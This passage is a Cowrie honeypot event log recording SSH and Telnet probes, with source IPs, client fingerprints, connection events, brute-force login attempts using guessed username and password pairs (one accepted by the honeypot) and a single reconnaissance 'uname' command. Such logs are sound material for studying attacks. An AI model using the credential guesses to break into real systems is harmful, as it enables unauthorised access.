cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:14.685060Z","src_ip":"80.94.92.182","session":"ce5c8fa861b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.136.75.179","src_port":39250,"dst_ip":"10.17.0.5","dst_port":23,"session":"c63dbc401a9c","protocol":"telnet","message":"New connection: 213.136.75.179:39250 (10.17.0.5:23) [session: c63dbc401a9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:15.015874Z"}
{"eventid":"cowrie.session.closed","duration":30.581233263015747,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:15.146974Z","src_ip":"159.223.86.167","session":"1bb682546b98","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.20600461959839,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:15.410044Z","src_ip":"159.223.86.167","session":"38f30b9a0d69","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.08796000480652,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:15.749124Z","src_ip":"159.223.86.167","session":"cd666ed8fd9e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.517295122146606,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:15.865616Z","src_ip":"159.223.86.167","session":"3f0ef6f82241","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qq2w3e4r5t","message":"login attempt [ubuntu/1qq2w3e4r5t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:15.879044Z","src_ip":"80.94.92.182","session":"ce5c8fa861b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.60427784919739,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:16.056243Z","src_ip":"213.136.75.179","session":"dac6c5360b69","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":41064,"dst_ip":"159.203.135.109","dst_port":23,"session":"e0ce443dc639","protocol":"telnet","message":"New connection: 159.223.86.167:41064 (159.203.135.109:23) [session: e0ce443dc639]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:16.070524Z"}
{"eventid":"cowrie.session.closed","duration":30.724745988845825,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:16.218939Z","src_ip":"159.223.86.167","session":"d92175360527","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.997293949127197,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:16.629018Z","src_ip":"159.223.86.167","session":"9dfbfbde4251","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:17.141025Z","src_ip":"80.94.92.182","session":"ce5c8fa861b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.335036993026733,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:17.146925Z","src_ip":"159.223.86.167","session":"66ce74657540","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.85883927345276,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:17.780712Z","src_ip":"159.223.86.167","session":"6d6bc4bf37c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":33650,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c772f635141","protocol":"ssh","message":"New connection: 176.65.139.103:33650 (10.17.0.5:22) [session: 9c772f635141]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:18.010074Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:18.027328Z","src_ip":"176.65.139.103","session":"9c772f635141","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:18.097578Z","src_ip":"176.65.139.103","session":"9c772f635141","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.86279535293579,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:18.307691Z","src_ip":"159.223.86.167","session":"5bb5631dc6bd","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"kevin","password":"kevin","message":"login attempt [kevin/kevin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:18.432003Z","src_ip":"176.65.139.103","session":"9c772f635141","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.749385833740234,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:18.657031Z","src_ip":"159.223.86.167","session":"a967fef5401d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.411390781402588,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:19.023023Z","src_ip":"159.223.86.167","session":"a28ac2b99256","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":55408,"dst_ip":"159.203.135.109","dst_port":23,"session":"177a61c33ac7","protocol":"telnet","message":"New connection: 159.223.86.167:55408 (159.203.135.109:23) [session: 177a61c33ac7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:19.381541Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:19.522279Z","src_ip":"176.65.139.103","session":"9c772f635141","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.94530010223389,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:19.703629Z","src_ip":"213.136.75.179","session":"fa464ecb023f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.21149015426636,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:20.089504Z","src_ip":"159.223.86.167","session":"cd0ccebb9ad0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.21695113182068,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:20.166654Z","src_ip":"159.223.86.167","session":"65086d7de3c1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.353912591934204,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:20.211907Z","src_ip":"159.223.86.167","session":"018d4a8dc1f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.018576860427856,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:20.266315Z","src_ip":"159.223.86.167","session":"1d4c729ae592","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":59684,"dst_ip":"159.203.135.109","dst_port":23,"session":"e389756cec88","protocol":"telnet","message":"New connection: 159.223.86.167:59684 (159.203.135.109:23) [session: e389756cec88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:20.378414Z"}
{"eventid":"cowrie.session.closed","duration":31.121092557907104,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:20.608439Z","src_ip":"159.223.86.167","session":"b6c5ef8e4a9f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.731515169143677,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:20.642072Z","src_ip":"159.223.86.167","session":"e12c5094abe5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.17970061302185,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:20.894093Z","src_ip":"159.223.86.167","session":"ac03c0de717b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.8559787273407,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:21.154061Z","src_ip":"159.223.86.167","session":"4cb96f12e9a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.95219826698303,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:21.497810Z","src_ip":"213.136.75.179","session":"670ec25ee41a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.7733371257782,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:21.838848Z","src_ip":"159.223.86.167","session":"35a0be8e2080","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":38528,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e352a3cac4b","protocol":"telnet","message":"New connection: 159.223.86.167:38528 (159.203.135.109:23) [session: 1e352a3cac4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:21.944070Z"}
{"eventid":"cowrie.session.closed","duration":30.823198318481445,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:22.085801Z","src_ip":"155.117.234.131","session":"fe02d9e7c16e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":39488,"dst_ip":"159.203.135.109","dst_port":23,"session":"7648507fbba0","protocol":"telnet","message":"New connection: 159.223.86.167:39488 (159.203.135.109:23) [session: 7648507fbba0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:22.196094Z"}
{"eventid":"cowrie.session.closed","duration":33.15743613243103,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:22.529987Z","src_ip":"213.136.75.179","session":"6c4590bbcf5f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.40095496177673,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:22.803923Z","src_ip":"213.136.75.179","session":"66254d18843d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.775590419769287,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:23.041790Z","src_ip":"213.136.75.179","session":"1b315ef66f40","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":44142,"dst_ip":"159.203.135.109","dst_port":23,"session":"84a69bf47b01","protocol":"telnet","message":"New connection: 159.223.86.167:44142 (159.203.135.109:23) [session: 84a69bf47b01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:23.293040Z"}
{"eventid":"cowrie.session.closed","duration":30.972441911697388,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:23.705882Z","src_ip":"159.223.86.167","session":"befa2bbf92a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.175484657287598,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:23.758286Z","src_ip":"159.223.86.167","session":"4e774577aafa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":42096,"dst_ip":"159.203.135.109","dst_port":23,"session":"393d33d4cb3e","protocol":"telnet","message":"New connection: 159.223.86.167:42096 (159.203.135.109:23) [session: 393d33d4cb3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:23.836608Z"}
{"eventid":"cowrie.session.closed","duration":30.81185507774353,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:24.272467Z","src_ip":"159.223.86.167","session":"628a0c8e17d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":40504,"dst_ip":"10.17.0.5","dst_port":22,"session":"930e23a34c0c","protocol":"ssh","message":"New connection: 176.65.139.103:40504 (10.17.0.5:22) [session: 930e23a34c0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:24.564140Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:24.570044Z","src_ip":"176.65.139.103","session":"930e23a34c0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:24.651481Z","src_ip":"176.65.139.103","session":"930e23a34c0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":50240,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b851bcd30df","protocol":"telnet","message":"New connection: 159.223.86.167:50240 (159.203.135.109:23) [session: 9b851bcd30df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:24.722135Z"}
{"eventid":"cowrie.login.success","username":"oracle","password":"abc123","message":"login attempt [oracle/abc123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:24.902791Z","src_ip":"176.65.139.103","session":"930e23a34c0c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:25.119024Z","src_ip":"176.65.139.103","session":"930e23a34c0c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:25.123062Z","src_ip":"176.65.139.103","session":"930e23a34c0c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:25.229554Z","src_ip":"176.65.139.103","session":"930e23a34c0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:25.238024Z","src_ip":"176.65.139.103","session":"930e23a34c0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":53536,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e54219358c3","protocol":"telnet","message":"New connection: 159.223.86.167:53536 (159.203.135.109:23) [session: 7e54219358c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:25.522034Z"}
{"eventid":"cowrie.session.closed","duration":33.8216507434845,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:25.649674Z","src_ip":"213.136.75.179","session":"ea0939c3a3a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.424147367477417,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:25.934428Z","src_ip":"159.223.86.167","session":"d12c0e3fad3b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.722601652145386,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:26.053887Z","src_ip":"159.223.86.167","session":"97933c445ae7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":44948,"dst_ip":"159.203.135.109","dst_port":22,"session":"a722d2ff8e90","protocol":"ssh","message":"New connection: 159.203.92.129:44948 (159.203.135.109:22) [session: a722d2ff8e90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:26.102789Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:26.107867Z","src_ip":"159.203.92.129","session":"a722d2ff8e90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:26.115674Z","src_ip":"159.203.92.129","session":"a722d2ff8e90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.86.167","src_port":56134,"dst_ip":"159.203.135.109","dst_port":23,"session":"e2664737fd41","protocol":"telnet","message":"New connection: 159.223.86.167:56134 (159.203.135.109:23) [session: e2664737fd41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:26.128925Z"}
{"eventid":"cowrie.login.failed","username":"anonymous","password":"123456","message":"login attempt [anonymous/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:26.141943Z","src_ip":"159.203.92.129","session":"a722d2ff8e90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.90829610824585,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:26.253340Z","src_ip":"159.223.86.167","session":"2adf20eb0a27","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.15026617050171,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:40:26.258571Z","src_ip":"159.223.86.167","session":"cc0443a16f39","protocol":"telnet"}
